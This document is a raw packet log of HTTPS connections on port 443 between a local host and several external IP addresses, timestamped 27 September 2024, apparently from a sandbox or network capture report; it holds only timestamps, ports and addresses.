Sep 27, 2024 05:51:01.364178896 CEST	443	49879	50.2.64.137	192.168.2.5
Sep 27, 2024 05:51:01.364228010 CEST	49879	443	192.168.2.5	50.2.64.137
Sep 27, 2024 05:51:01.364522934 CEST	49879	443	192.168.2.5	50.2.64.137
Sep 27, 2024 05:51:01.364536047 CEST	443	49879	50.2.64.137	192.168.2.5
Sep 27, 2024 05:51:01.416791916 CEST	443	49850	211.149.140.201	192.168.2.5
Sep 27, 2024 05:51:01.416826010 CEST	443	49850	211.149.140.201	192.168.2.5
Sep 27, 2024 05:51:01.416903973 CEST	49850	443	192.168.2.5	211.149.140.201
Sep 27, 2024 05:51:01.416922092 CEST	443	49850	211.149.140.201	192.168.2.5
Sep 27, 2024 05:51:01.417066097 CEST	443	49850	211.149.140.201	192.168.2.5
Sep 27, 2024 05:51:01.417118073 CEST	49850	443	192.168.2.5	211.149.140.201
Sep 27, 2024 05:51:01.418375015 CEST	49850	443	192.168.2.5	211.149.140.201
Sep 27, 2024 05:51:01.418401003 CEST	443	49850	211.149.140.201	192.168.2.5
Sep 27, 2024 05:51:01.418411016 CEST	49850	443	192.168.2.5	211.149.140.201
Sep 27, 2024 05:51:01.418450117 CEST	49850	443	192.168.2.5	211.149.140.201
Sep 27, 2024 05:51:01.421591043 CEST	443	49862	211.149.140.201	192.168.2.5
Sep 27, 2024 05:51:01.422394991 CEST	49862	443	192.168.2.5	211.149.140.201
Sep 27, 2024 05:51:01.422456980 CEST	443	49862	211.149.140.201	192.168.2.5
Sep 27, 2024 05:51:01.425451994 CEST	443	49862	211.149.140.201	192.168.2.5
Sep 27, 2024 05:51:01.425512075 CEST	49862	443	192.168.2.5	211.149.140.201
Sep 27, 2024 05:51:01.426537037 CEST	49862	443	192.168.2.5	211.149.140.201
Sep 27, 2024 05:51:01.426675081 CEST	443	49862	211.149.140.201	192.168.2.5
Sep 27, 2024 05:51:01.426808119 CEST	49862	443	192.168.2.5	211.149.140.201
Sep 27, 2024 05:51:01.426839113 CEST	443	49862	211.149.140.201	192.168.2.5
Sep 27, 2024 05:51:01.479486942 CEST	49862	443	192.168.2.5	211.149.140.201
Sep 27, 2024 05:51:01.668642044 CEST	443	49853	47.108.5.198	192.168.2.5
Sep 27, 2024 05:51:01.668672085 CEST	443	49853	47.108.5.198	192.168.2.5
Sep 27, 2024 05:51:01.668739080 CEST	443	49853	47.108.5.198	192.168.2.5
Sep 27, 2024 05:51:01.668741941 CEST	49853	443	192.168.2.5	47.108.5.198
Sep 27, 2024 05:51:01.668814898 CEST	49853	443	192.168.2.5	47.108.5.198
Sep 27, 2024 05:51:01.671215057 CEST	443	49854	47.108.5.198	192.168.2.5
Sep 27, 2024 05:51:01.671278954 CEST	443	49854	47.108.5.198	192.168.2.5
Sep 27, 2024 05:51:01.671298981 CEST	443	49854	47.108.5.198	192.168.2.5
Sep 27, 2024 05:51:01.671317101 CEST	443	49854	47.108.5.198	192.168.2.5
Sep 27, 2024 05:51:01.671340942 CEST	49854	443	192.168.2.5	47.108.5.198
Sep 27, 2024 05:51:01.671359062 CEST	443	49854	47.108.5.198	192.168.2.5
Sep 27, 2024 05:51:01.671382904 CEST	49854	443	192.168.2.5	47.108.5.198
Sep 27, 2024 05:51:01.671408892 CEST	443	49854	47.108.5.198	192.168.2.5
Sep 27, 2024 05:51:01.671432972 CEST	49854	443	192.168.2.5	47.108.5.198
Sep 27, 2024 05:51:01.671438932 CEST	443	49854	47.108.5.198	192.168.2.5
Sep 27, 2024 05:51:01.671462059 CEST	49854	443	192.168.2.5	47.108.5.198
Sep 27, 2024 05:51:01.671490908 CEST	49854	443	192.168.2.5	47.108.5.198
Sep 27, 2024 05:51:01.672396898 CEST	443	49852	47.108.5.198	192.168.2.5
Sep 27, 2024 05:51:01.672447920 CEST	443	49852	47.108.5.198	192.168.2.5
Sep 27, 2024 05:51:01.672457933 CEST	443	49852	47.108.5.198	192.168.2.5
Sep 27, 2024 05:51:01.672486067 CEST	443	49852	47.108.5.198	192.168.2.5
Sep 27, 2024 05:51:01.672503948 CEST	49852	443	192.168.2.5	47.108.5.198
Sep 27, 2024 05:51:01.672508001 CEST	443	49852	47.108.5.198	192.168.2.5
Sep 27, 2024 05:51:01.672527075 CEST	443	49852	47.108.5.198	192.168.2.5
Sep 27, 2024 05:51:01.672542095 CEST	49852	443	192.168.2.5	47.108.5.198
Sep 27, 2024 05:51:01.672560930 CEST	49852	443	192.168.2.5	47.108.5.198
Sep 27, 2024 05:51:01.672568083 CEST	49852	443	192.168.2.5	47.108.5.198
Sep 27, 2024 05:51:01.674841881 CEST	49853	443	192.168.2.5	47.108.5.198
Sep 27, 2024 05:51:01.674907923 CEST	443	49853	47.108.5.198	192.168.2.5
Sep 27, 2024 05:51:01.677836895 CEST	443	49851	47.108.5.198	192.168.2.5
Sep 27, 2024 05:51:01.677858114 CEST	443	49851	47.108.5.198	192.168.2.5
Sep 27, 2024 05:51:01.677866936 CEST	443	49851	47.108.5.198	192.168.2.5
Sep 27, 2024 05:51:01.677922964 CEST	49851	443	192.168.2.5	47.108.5.198
Sep 27, 2024 05:51:01.677934885 CEST	443	49851	47.108.5.198	192.168.2.5
Sep 27, 2024 05:51:01.677989006 CEST	443	49851	47.108.5.198	192.168.2.5
Sep 27, 2024 05:51:01.678000927 CEST	443	49851	47.108.5.198	192.168.2.5
Sep 27, 2024 05:51:01.678005934 CEST	49851	443	192.168.2.5	47.108.5.198
Sep 27, 2024 05:51:01.678040028 CEST	49851	443	192.168.2.5	47.108.5.198
Sep 27, 2024 05:51:01.684696913 CEST	49880	443	192.168.2.5	47.108.5.198
Sep 27, 2024 05:51:01.684737921 CEST	443	49880	47.108.5.198	192.168.2.5
Sep 27, 2024 05:51:01.684806108 CEST	49880	443	192.168.2.5	47.108.5.198
Sep 27, 2024 05:51:01.685358047 CEST	49880	443	192.168.2.5	47.108.5.198
Sep 27, 2024 05:51:01.685367107 CEST	443	49880	47.108.5.198	192.168.2.5
Sep 27, 2024 05:51:01.703095913 CEST	443	49872	211.149.140.201	192.168.2.5
Sep 27, 2024 05:51:01.703294039 CEST	49872	443	192.168.2.5	211.149.140.201
Sep 27, 2024 05:51:01.703341961 CEST	443	49872	211.149.140.201	192.168.2.5
Sep 27, 2024 05:51:01.704385042 CEST	443	49872	211.149.140.201	192.168.2.5
Sep 27, 2024 05:51:01.704447031 CEST	49872	443	192.168.2.5	211.149.140.201
Sep 27, 2024 05:51:01.704747915 CEST	49872	443	192.168.2.5	211.149.140.201
Sep 27, 2024 05:51:01.704829931 CEST	443	49872	211.149.140.201	192.168.2.5
Sep 27, 2024 05:51:01.704855919 CEST	49872	443	192.168.2.5	211.149.140.201
Sep 27, 2024 05:51:01.705542088 CEST	443	49870	211.149.140.201	192.168.2.5
Sep 27, 2024 05:51:01.705715895 CEST	49870	443	192.168.2.5	211.149.140.201
Sep 27, 2024 05:51:01.705724001 CEST	443	49870	211.149.140.201	192.168.2.5
Sep 27, 2024 05:51:01.709629059 CEST	443	49870	211.149.140.201	192.168.2.5
Sep 27, 2024 05:51:01.709698915 CEST	49870	443	192.168.2.5	211.149.140.201
Sep 27, 2024 05:51:01.710002899 CEST	49870	443	192.168.2.5	211.149.140.201
Sep 27, 2024 05:51:01.710115910 CEST	49870	443	192.168.2.5	211.149.140.201
Sep 27, 2024 05:51:01.710119963 CEST	443	49870	211.149.140.201	192.168.2.5
Sep 27, 2024 05:51:01.710236073 CEST	443	49870	211.149.140.201	192.168.2.5
Sep 27, 2024 05:51:01.734678984 CEST	443	49865	47.108.5.198	192.168.2.5
Sep 27, 2024 05:51:01.735150099 CEST	49865	443	192.168.2.5	47.108.5.198
Sep 27, 2024 05:51:01.735219002 CEST	443	49865	47.108.5.198	192.168.2.5
Sep 27, 2024 05:51:01.736474991 CEST	443	49865	47.108.5.198	192.168.2.5
Sep 27, 2024 05:51:01.737190962 CEST	49865	443	192.168.2.5	47.108.5.198
Sep 27, 2024 05:51:01.737317085 CEST	49865	443	192.168.2.5	47.108.5.198
Sep 27, 2024 05:51:01.737384081 CEST	443	49865	47.108.5.198	192.168.2.5
Sep 27, 2024 05:51:01.745100975 CEST	49872	443	192.168.2.5	211.149.140.201
Sep 27, 2024 05:51:01.745150089 CEST	443	49872	211.149.140.201	192.168.2.5
Sep 27, 2024 05:51:01.754597902 CEST	443	49854	47.108.5.198	192.168.2.5
Sep 27, 2024 05:51:01.754678011 CEST	49854	443	192.168.2.5	47.108.5.198
Sep 27, 2024 05:51:01.754710913 CEST	443	49854	47.108.5.198	192.168.2.5
Sep 27, 2024 05:51:01.754753113 CEST	49854	443	192.168.2.5	47.108.5.198
Sep 27, 2024 05:51:01.754770041 CEST	443	49854	47.108.5.198	192.168.2.5
Sep 27, 2024 05:51:01.754821062 CEST	49854	443	192.168.2.5	47.108.5.198
Sep 27, 2024 05:51:01.755155087 CEST	49854	443	192.168.2.5	47.108.5.198
Sep 27, 2024 05:51:01.755176067 CEST	443	49854	47.108.5.198	192.168.2.5
Sep 27, 2024 05:51:01.755194902 CEST	49854	443	192.168.2.5	47.108.5.198
Sep 27, 2024 05:51:01.755238056 CEST	49854	443	192.168.2.5	47.108.5.198
Sep 27, 2024 05:51:01.756036043 CEST	443	49852	47.108.5.198	192.168.2.5
Sep 27, 2024 05:51:01.756118059 CEST	49852	443	192.168.2.5	47.108.5.198
Sep 27, 2024 05:51:01.756134033 CEST	443	49852	47.108.5.198	192.168.2.5
Sep 27, 2024 05:51:01.756277084 CEST	443	49852	47.108.5.198	192.168.2.5
Sep 27, 2024 05:51:01.756324053 CEST	49852	443	192.168.2.5	47.108.5.198
Sep 27, 2024 05:51:01.756515980 CEST	49870	443	192.168.2.5	211.149.140.201
Sep 27, 2024 05:51:01.756524086 CEST	443	49870	211.149.140.201	192.168.2.5
Sep 27, 2024 05:51:01.760942936 CEST	443	49851	47.108.5.198	192.168.2.5
Sep 27, 2024 05:51:01.760966063 CEST	443	49851	47.108.5.198	192.168.2.5
Sep 27, 2024 05:51:01.761023998 CEST	49851	443	192.168.2.5	47.108.5.198
Sep 27, 2024 05:51:01.761044979 CEST	443	49851	47.108.5.198	192.168.2.5
Sep 27, 2024 05:51:01.761106968 CEST	49851	443	192.168.2.5	47.108.5.198
Sep 27, 2024 05:51:01.761992931 CEST	49881	443	192.168.2.5	47.108.5.198
Sep 27, 2024 05:51:01.762037039 CEST	443	49881	47.108.5.198	192.168.2.5
Sep 27, 2024 05:51:01.762079000 CEST	49852	443	192.168.2.5	47.108.5.198
Sep 27, 2024 05:51:01.762094975 CEST	443	49852	47.108.5.198	192.168.2.5
Sep 27, 2024 05:51:01.762103081 CEST	49881	443	192.168.2.5	47.108.5.198
Sep 27, 2024 05:51:01.763166904 CEST	49881	443	192.168.2.5	47.108.5.198
Sep 27, 2024 05:51:01.763202906 CEST	443	49881	47.108.5.198	192.168.2.5
Sep 27, 2024 05:51:01.764497042 CEST	443	49851	47.108.5.198	192.168.2.5
Sep 27, 2024 05:51:01.764513969 CEST	443	49851	47.108.5.198	192.168.2.5
Sep 27, 2024 05:51:01.764568090 CEST	49851	443	192.168.2.5	47.108.5.198
Sep 27, 2024 05:51:01.764580965 CEST	443	49851	47.108.5.198	192.168.2.5
Sep 27, 2024 05:51:01.764607906 CEST	49851	443	192.168.2.5	47.108.5.198
Sep 27, 2024 05:51:01.764656067 CEST	49851	443	192.168.2.5	47.108.5.198
Sep 27, 2024 05:51:01.766801119 CEST	49882	443	192.168.2.5	47.108.5.198
Sep 27, 2024 05:51:01.766832113 CEST	443	49882	47.108.5.198	192.168.2.5
Sep 27, 2024 05:51:01.766899109 CEST	49882	443	192.168.2.5	47.108.5.198
Sep 27, 2024 05:51:01.767575026 CEST	49882	443	192.168.2.5	47.108.5.198
Sep 27, 2024 05:51:01.767599106 CEST	443	49882	47.108.5.198	192.168.2.5
Sep 27, 2024 05:51:01.785060883 CEST	443	49869	103.235.47.188	192.168.2.5
Sep 27, 2024 05:51:01.785324097 CEST	49869	443	192.168.2.5	103.235.47.188
Sep 27, 2024 05:51:01.785342932 CEST	443	49869	103.235.47.188	192.168.2.5
Sep 27, 2024 05:51:01.786562920 CEST	443	49869	103.235.47.188	192.168.2.5
Sep 27, 2024 05:51:01.786631107 CEST	49869	443	192.168.2.5	103.235.47.188
Sep 27, 2024 05:51:01.789190054 CEST	443	49869	103.235.47.188	192.168.2.5
Sep 27, 2024 05:51:01.789247990 CEST	49869	443	192.168.2.5	103.235.47.188
Sep 27, 2024 05:51:01.790251970 CEST	49869	443	192.168.2.5	103.235.47.188
Sep 27, 2024 05:51:01.790462017 CEST	49869	443	192.168.2.5	103.235.47.188
Sep 27, 2024 05:51:01.790472984 CEST	443	49869	103.235.47.188	192.168.2.5
Sep 27, 2024 05:51:01.790505886 CEST	443	49869	103.235.47.188	192.168.2.5
Sep 27, 2024 05:51:01.791672945 CEST	49865	443	192.168.2.5	47.108.5.198
Sep 27, 2024 05:51:01.791711092 CEST	49872	443	192.168.2.5	211.149.140.201
Sep 27, 2024 05:51:01.792099953 CEST	443	49860	47.108.5.198	192.168.2.5
Sep 27, 2024 05:51:01.792398930 CEST	49860	443	192.168.2.5	47.108.5.198
Sep 27, 2024 05:51:01.792421103 CEST	443	49860	47.108.5.198	192.168.2.5
Sep 27, 2024 05:51:01.792895079 CEST	443	49860	47.108.5.198	192.168.2.5
Sep 27, 2024 05:51:01.793207884 CEST	49860	443	192.168.2.5	47.108.5.198
Sep 27, 2024 05:51:01.793282032 CEST	443	49860	47.108.5.198	192.168.2.5
Sep 27, 2024 05:51:01.793379068 CEST	49860	443	192.168.2.5	47.108.5.198
Sep 27, 2024 05:51:01.807262897 CEST	49870	443	192.168.2.5	211.149.140.201
Sep 27, 2024 05:51:01.838669062 CEST	49869	443	192.168.2.5	103.235.47.188
Sep 27, 2024 05:51:01.838692904 CEST	443	49869	103.235.47.188	192.168.2.5
Sep 27, 2024 05:51:01.839401007 CEST	443	49860	47.108.5.198	192.168.2.5
Sep 27, 2024 05:51:01.847306967 CEST	443	49851	47.108.5.198	192.168.2.5
Sep 27, 2024 05:51:01.847336054 CEST	443	49851	47.108.5.198	192.168.2.5
Sep 27, 2024 05:51:01.847449064 CEST	49851	443	192.168.2.5	47.108.5.198
Sep 27, 2024 05:51:01.847526073 CEST	443	49851	47.108.5.198	192.168.2.5
Sep 27, 2024 05:51:01.847584963 CEST	49851	443	192.168.2.5	47.108.5.198
Sep 27, 2024 05:51:01.848294973 CEST	443	49851	47.108.5.198	192.168.2.5
Sep 27, 2024 05:51:01.848316908 CEST	443	49851	47.108.5.198	192.168.2.5
Sep 27, 2024 05:51:01.848366976 CEST	49851	443	192.168.2.5	47.108.5.198
Sep 27, 2024 05:51:01.848381996 CEST	443	49851	47.108.5.198	192.168.2.5
Sep 27, 2024 05:51:01.848431110 CEST	49851	443	192.168.2.5	47.108.5.198
Sep 27, 2024 05:51:01.848464012 CEST	49851	443	192.168.2.5	47.108.5.198
Sep 27, 2024 05:51:01.849507093 CEST	443	49867	47.108.5.198	192.168.2.5
Sep 27, 2024 05:51:01.849920988 CEST	443	49851	47.108.5.198	192.168.2.5
Sep 27, 2024 05:51:01.849941969 CEST	443	49851	47.108.5.198	192.168.2.5
Sep 27, 2024 05:51:01.849993944 CEST	49851	443	192.168.2.5	47.108.5.198
Sep 27, 2024 05:51:01.850004911 CEST	443	49851	47.108.5.198	192.168.2.5
Sep 27, 2024 05:51:01.850044012 CEST	49851	443	192.168.2.5	47.108.5.198
Sep 27, 2024 05:51:01.850044012 CEST	49851	443	192.168.2.5	47.108.5.198
Sep 27, 2024 05:51:01.850358009 CEST	49867	443	192.168.2.5	47.108.5.198
Sep 27, 2024 05:51:01.850377083 CEST	443	49867	47.108.5.198	192.168.2.5
Sep 27, 2024 05:51:01.851475954 CEST	443	49851	47.108.5.198	192.168.2.5
Sep 27, 2024 05:51:01.851494074 CEST	443	49851	47.108.5.198	192.168.2.5
Sep 27, 2024 05:51:01.851552010 CEST	49851	443	192.168.2.5	47.108.5.198
Sep 27, 2024 05:51:01.851563931 CEST	443	49851	47.108.5.198	192.168.2.5
Sep 27, 2024 05:51:01.851588964 CEST	443	49867	47.108.5.198	192.168.2.5
Sep 27, 2024 05:51:01.851624012 CEST	49851	443	192.168.2.5	47.108.5.198
Sep 27, 2024 05:51:01.851933956 CEST	49867	443	192.168.2.5	47.108.5.198
Sep 27, 2024 05:51:01.852073908 CEST	49867	443	192.168.2.5	47.108.5.198
Sep 27, 2024 05:51:01.852082968 CEST	443	49867	47.108.5.198	192.168.2.5
Sep 27, 2024 05:51:01.870198011 CEST	443	49861	90.84.161.25	192.168.2.5
Sep 27, 2024 05:51:01.870532036 CEST	443	49861	90.84.161.25	192.168.2.5
Sep 27, 2024 05:51:01.870588064 CEST	49861	443	192.168.2.5	90.84.161.25
Sep 27, 2024 05:51:01.872123003 CEST	49861	443	192.168.2.5	90.84.161.25
Sep 27, 2024 05:51:01.872145891 CEST	443	49861	90.84.161.25	192.168.2.5
Sep 27, 2024 05:51:01.872159958 CEST	49861	443	192.168.2.5	90.84.161.25
Sep 27, 2024 05:51:01.872188091 CEST	49861	443	192.168.2.5	90.84.161.25
Sep 27, 2024 05:51:01.874288082 CEST	443	49868	47.108.5.198	192.168.2.5
Sep 27, 2024 05:51:01.874594927 CEST	49868	443	192.168.2.5	47.108.5.198
Sep 27, 2024 05:51:01.874608994 CEST	443	49868	47.108.5.198	192.168.2.5
Sep 27, 2024 05:51:01.875071049 CEST	443	49868	47.108.5.198	192.168.2.5
Sep 27, 2024 05:51:01.875526905 CEST	49868	443	192.168.2.5	47.108.5.198
Sep 27, 2024 05:51:01.875597954 CEST	443	49868	47.108.5.198	192.168.2.5
Sep 27, 2024 05:51:01.876061916 CEST	49868	443	192.168.2.5	47.108.5.198
Sep 27, 2024 05:51:01.884186983 CEST	49869	443	192.168.2.5	103.235.47.188
Sep 27, 2024 05:51:01.891458988 CEST	443	49871	58.254.150.48	192.168.2.5
Sep 27, 2024 05:51:01.895407915 CEST	443	49867	47.108.5.198	192.168.2.5
Sep 27, 2024 05:51:01.896399021 CEST	49871	443	192.168.2.5	58.254.150.48
Sep 27, 2024 05:51:01.896424055 CEST	443	49871	58.254.150.48	192.168.2.5
Sep 27, 2024 05:51:01.896811008 CEST	443	49871	58.254.150.48	192.168.2.5
Sep 27, 2024 05:51:01.896869898 CEST	49871	443	192.168.2.5	58.254.150.48
Sep 27, 2024 05:51:01.897481918 CEST	443	49871	58.254.150.48	192.168.2.5
Sep 27, 2024 05:51:01.897524118 CEST	49871	443	192.168.2.5	58.254.150.48
Sep 27, 2024 05:51:01.897665024 CEST	49871	443	192.168.2.5	58.254.150.48
Sep 27, 2024 05:51:01.897721052 CEST	443	49871	58.254.150.48	192.168.2.5
Sep 27, 2024 05:51:01.897905111 CEST	49871	443	192.168.2.5	58.254.150.48
Sep 27, 2024 05:51:01.897922039 CEST	443	49871	58.254.150.48	192.168.2.5
Sep 27, 2024 05:51:01.899424076 CEST	49867	443	192.168.2.5	47.108.5.198
Sep 27, 2024 05:51:01.917349100 CEST	443	49879	50.2.64.137	192.168.2.5
Sep 27, 2024 05:51:01.917707920 CEST	49879	443	192.168.2.5	50.2.64.137
Sep 27, 2024 05:51:01.917732954 CEST	443	49879	50.2.64.137	192.168.2.5
Sep 27, 2024 05:51:01.918196917 CEST	443	49879	50.2.64.137	192.168.2.5
Sep 27, 2024 05:51:01.918797970 CEST	49879	443	192.168.2.5	50.2.64.137
Sep 27, 2024 05:51:01.918875933 CEST	443	49879	50.2.64.137	192.168.2.5
Sep 27, 2024 05:51:01.918955088 CEST	49879	443	192.168.2.5	50.2.64.137
Sep 27, 2024 05:51:01.923397064 CEST	443	49868	47.108.5.198	192.168.2.5
Sep 27, 2024 05:51:01.934473991 CEST	443	49857	211.149.140.201	192.168.2.5
Sep 27, 2024 05:51:01.934514046 CEST	443	49857	211.149.140.201	192.168.2.5
Sep 27, 2024 05:51:01.934525967 CEST	443	49857	211.149.140.201	192.168.2.5
Sep 27, 2024 05:51:01.934537888 CEST	443	49857	211.149.140.201	192.168.2.5
Sep 27, 2024 05:51:01.934562922 CEST	443	49857	211.149.140.201	192.168.2.5
Sep 27, 2024 05:51:01.934564114 CEST	49857	443	192.168.2.5	211.149.140.201
Sep 27, 2024 05:51:01.934576988 CEST	443	49857	211.149.140.201	192.168.2.5
Sep 27, 2024 05:51:01.934592962 CEST	443	49857	211.149.140.201	192.168.2.5
Sep 27, 2024 05:51:01.934600115 CEST	49857	443	192.168.2.5	211.149.140.201
Sep 27, 2024 05:51:01.934622049 CEST	49857	443	192.168.2.5	211.149.140.201
Sep 27, 2024 05:51:01.934631109 CEST	49857	443	192.168.2.5	211.149.140.201
Sep 27, 2024 05:51:01.935883045 CEST	443	49857	211.149.140.201	192.168.2.5
Sep 27, 2024 05:51:01.935911894 CEST	443	49857	211.149.140.201	192.168.2.5
Sep 27, 2024 05:51:01.935935974 CEST	49857	443	192.168.2.5	211.149.140.201
Sep 27, 2024 05:51:01.935946941 CEST	443	49857	211.149.140.201	192.168.2.5
Sep 27, 2024 05:51:01.935978889 CEST	49857	443	192.168.2.5	211.149.140.201
Sep 27, 2024 05:51:01.938905001 CEST	49871	443	192.168.2.5	58.254.150.48
Sep 27, 2024 05:51:01.939528942 CEST	443	49851	47.108.5.198	192.168.2.5
Sep 27, 2024 05:51:01.939548016 CEST	443	49851	47.108.5.198	192.168.2.5
Sep 27, 2024 05:51:01.939596891 CEST	49851	443	192.168.2.5	47.108.5.198
Sep 27, 2024 05:51:01.939606905 CEST	443	49851	47.108.5.198	192.168.2.5
Sep 27, 2024 05:51:01.939641953 CEST	49851	443	192.168.2.5	47.108.5.198
Sep 27, 2024 05:51:01.939650059 CEST	49851	443	192.168.2.5	47.108.5.198
Sep 27, 2024 05:51:01.950674057 CEST	443	49851	47.108.5.198	192.168.2.5
Sep 27, 2024 05:51:01.950694084 CEST	443	49851	47.108.5.198	192.168.2.5
Sep 27, 2024 05:51:01.950737000 CEST	49851	443	192.168.2.5	47.108.5.198
Sep 27, 2024 05:51:01.950742006 CEST	443	49851	47.108.5.198	192.168.2.5
Sep 27, 2024 05:51:01.950778008 CEST	49851	443	192.168.2.5	47.108.5.198
Sep 27, 2024 05:51:01.950794935 CEST	49851	443	192.168.2.5	47.108.5.198
Sep 27, 2024 05:51:01.963401079 CEST	443	49879	50.2.64.137	192.168.2.5
Sep 27, 2024 05:51:01.964642048 CEST	443	49851	47.108.5.198	192.168.2.5
Sep 27, 2024 05:51:01.964670897 CEST	443	49851	47.108.5.198	192.168.2.5
Sep 27, 2024 05:51:01.964715958 CEST	49851	443	192.168.2.5	47.108.5.198
Sep 27, 2024 05:51:01.964720964 CEST	443	49851	47.108.5.198	192.168.2.5
Sep 27, 2024 05:51:01.964762926 CEST	49851	443	192.168.2.5	47.108.5.198
Sep 27, 2024 05:51:01.964783907 CEST	49851	443	192.168.2.5	47.108.5.198
Sep 27, 2024 05:51:01.976602077 CEST	443	49851	47.108.5.198	192.168.2.5
Sep 27, 2024 05:51:01.976622105 CEST	443	49851	47.108.5.198	192.168.2.5
Sep 27, 2024 05:51:01.976664066 CEST	49851	443	192.168.2.5	47.108.5.198
Sep 27, 2024 05:51:01.976708889 CEST	49851	443	192.168.2.5	47.108.5.198
Sep 27, 2024 05:51:01.976713896 CEST	443	49851	47.108.5.198	192.168.2.5
Sep 27, 2024 05:51:01.976757050 CEST	49851	443	192.168.2.5	47.108.5.198
Sep 27, 2024 05:51:01.978614092 CEST	49857	443	192.168.2.5	211.149.140.201
Sep 27, 2024 05:51:01.990540981 CEST	443	49851	47.108.5.198	192.168.2.5
Sep 27, 2024 05:51:01.990565062 CEST	443	49851	47.108.5.198	192.168.2.5
Sep 27, 2024 05:51:01.990618944 CEST	49851	443	192.168.2.5	47.108.5.198
Sep 27, 2024 05:51:01.990624905 CEST	443	49851	47.108.5.198	192.168.2.5
Sep 27, 2024 05:51:01.990669012 CEST	49851	443	192.168.2.5	47.108.5.198
Sep 27, 2024 05:51:02.004626036 CEST	443	49851	47.108.5.198	192.168.2.5
Sep 27, 2024 05:51:02.004648924 CEST	443	49851	47.108.5.198	192.168.2.5
Sep 27, 2024 05:51:02.004697084 CEST	49851	443	192.168.2.5	47.108.5.198
Sep 27, 2024 05:51:02.004700899 CEST	443	49851	47.108.5.198	192.168.2.5
Sep 27, 2024 05:51:02.004738092 CEST	49851	443	192.168.2.5	47.108.5.198
Sep 27, 2024 05:51:02.004759073 CEST	49851	443	192.168.2.5	47.108.5.198
Sep 27, 2024 05:51:02.015688896 CEST	443	49851	47.108.5.198	192.168.2.5
Sep 27, 2024 05:51:02.015716076 CEST	443	49851	47.108.5.198	192.168.2.5
Sep 27, 2024 05:51:02.015759945 CEST	49851	443	192.168.2.5	47.108.5.198
Sep 27, 2024 05:51:02.015763998 CEST	443	49851	47.108.5.198	192.168.2.5
Sep 27, 2024 05:51:02.015811920 CEST	49851	443	192.168.2.5	47.108.5.198
Sep 27, 2024 05:51:02.029563904 CEST	443	49851	47.108.5.198	192.168.2.5
Sep 27, 2024 05:51:02.029593945 CEST	443	49851	47.108.5.198	192.168.2.5
Sep 27, 2024 05:51:02.029654980 CEST	49851	443	192.168.2.5	47.108.5.198
Sep 27, 2024 05:51:02.029659986 CEST	443	49851	47.108.5.198	192.168.2.5
Sep 27, 2024 05:51:02.029699087 CEST	49851	443	192.168.2.5	47.108.5.198
Sep 27, 2024 05:51:02.033247948 CEST	443	49879	50.2.64.137	192.168.2.5
Sep 27, 2024 05:51:02.033279896 CEST	443	49879	50.2.64.137	192.168.2.5
Sep 27, 2024 05:51:02.033307076 CEST	443	49879	50.2.64.137	192.168.2.5
Sep 27, 2024 05:51:02.033334017 CEST	49879	443	192.168.2.5	50.2.64.137
Sep 27, 2024 05:51:02.033339977 CEST	443	49879	50.2.64.137	192.168.2.5
Sep 27, 2024 05:51:02.033382893 CEST	49879	443	192.168.2.5	50.2.64.137
Sep 27, 2024 05:51:02.041285992 CEST	443	49851	47.108.5.198	192.168.2.5
Sep 27, 2024 05:51:02.041307926 CEST	443	49851	47.108.5.198	192.168.2.5
Sep 27, 2024 05:51:02.041341066 CEST	49851	443	192.168.2.5	47.108.5.198
Sep 27, 2024 05:51:02.041347027 CEST	443	49851	47.108.5.198	192.168.2.5
Sep 27, 2024 05:51:02.041393042 CEST	49851	443	192.168.2.5	47.108.5.198
Sep 27, 2024 05:51:02.055327892 CEST	443	49851	47.108.5.198	192.168.2.5
Sep 27, 2024 05:51:02.055356026 CEST	443	49851	47.108.5.198	192.168.2.5
Sep 27, 2024 05:51:02.055444956 CEST	49851	443	192.168.2.5	47.108.5.198
Sep 27, 2024 05:51:02.055450916 CEST	443	49851	47.108.5.198	192.168.2.5
Sep 27, 2024 05:51:02.055496931 CEST	49851	443	192.168.2.5	47.108.5.198
Sep 27, 2024 05:51:02.069334984 CEST	443	49851	47.108.5.198	192.168.2.5
Sep 27, 2024 05:51:02.069361925 CEST	443	49851	47.108.5.198	192.168.2.5
Sep 27, 2024 05:51:02.069417953 CEST	49851	443	192.168.2.5	47.108.5.198
Sep 27, 2024 05:51:02.069422960 CEST	443	49851	47.108.5.198	192.168.2.5
Sep 27, 2024 05:51:02.069474936 CEST	49851	443	192.168.2.5	47.108.5.198
Sep 27, 2024 05:51:02.080614090 CEST	443	49851	47.108.5.198	192.168.2.5
Sep 27, 2024 05:51:02.080636024 CEST	443	49851	47.108.5.198	192.168.2.5
Sep 27, 2024 05:51:02.080717087 CEST	443	49851	47.108.5.198	192.168.2.5
Sep 27, 2024 05:51:02.080727100 CEST	49851	443	192.168.2.5	47.108.5.198
Sep 27, 2024 05:51:02.080765963 CEST	49851	443	192.168.2.5	47.108.5.198
Sep 27, 2024 05:51:02.097435951 CEST	443	49865	47.108.5.198	192.168.2.5
Sep 27, 2024 05:51:02.097481012 CEST	443	49865	47.108.5.198	192.168.2.5
Sep 27, 2024 05:51:02.097493887 CEST	443	49865	47.108.5.198	192.168.2.5
Sep 27, 2024 05:51:02.097507954 CEST	443	49865	47.108.5.198	192.168.2.5
Sep 27, 2024 05:51:02.097532988 CEST	443	49865	47.108.5.198	192.168.2.5
Sep 27, 2024 05:51:02.097546101 CEST	443	49865	47.108.5.198	192.168.2.5
Sep 27, 2024 05:51:02.097552061 CEST	49865	443	192.168.2.5	47.108.5.198
Sep 27, 2024 05:51:02.097613096 CEST	443	49865	47.108.5.198	192.168.2.5
Sep 27, 2024 05:51:02.097649097 CEST	49865	443	192.168.2.5	47.108.5.198
Sep 27, 2024 05:51:02.097649097 CEST	49865	443	192.168.2.5	47.108.5.198
Sep 27, 2024 05:51:02.097686052 CEST	49865	443	192.168.2.5	47.108.5.198
Sep 27, 2024 05:51:02.098877907 CEST	443	49865	47.108.5.198	192.168.2.5
Sep 27, 2024 05:51:02.098965883 CEST	49865	443	192.168.2.5	47.108.5.198
Sep 27, 2024 05:51:02.098983049 CEST	443	49865	47.108.5.198	192.168.2.5
Sep 27, 2024 05:51:02.099006891 CEST	443	49865	47.108.5.198	192.168.2.5
Sep 27, 2024 05:51:02.099062920 CEST	49865	443	192.168.2.5	47.108.5.198
Sep 27, 2024 05:51:02.115747929 CEST	443	49879	50.2.64.137	192.168.2.5
Sep 27, 2024 05:51:02.115798950 CEST	443	49879	50.2.64.137	192.168.2.5
Sep 27, 2024 05:51:02.115859032 CEST	443	49879	50.2.64.137	192.168.2.5
Sep 27, 2024 05:51:02.115943909 CEST	49879	443	192.168.2.5	50.2.64.137
Sep 27, 2024 05:51:02.115943909 CEST	49879	443	192.168.2.5	50.2.64.137
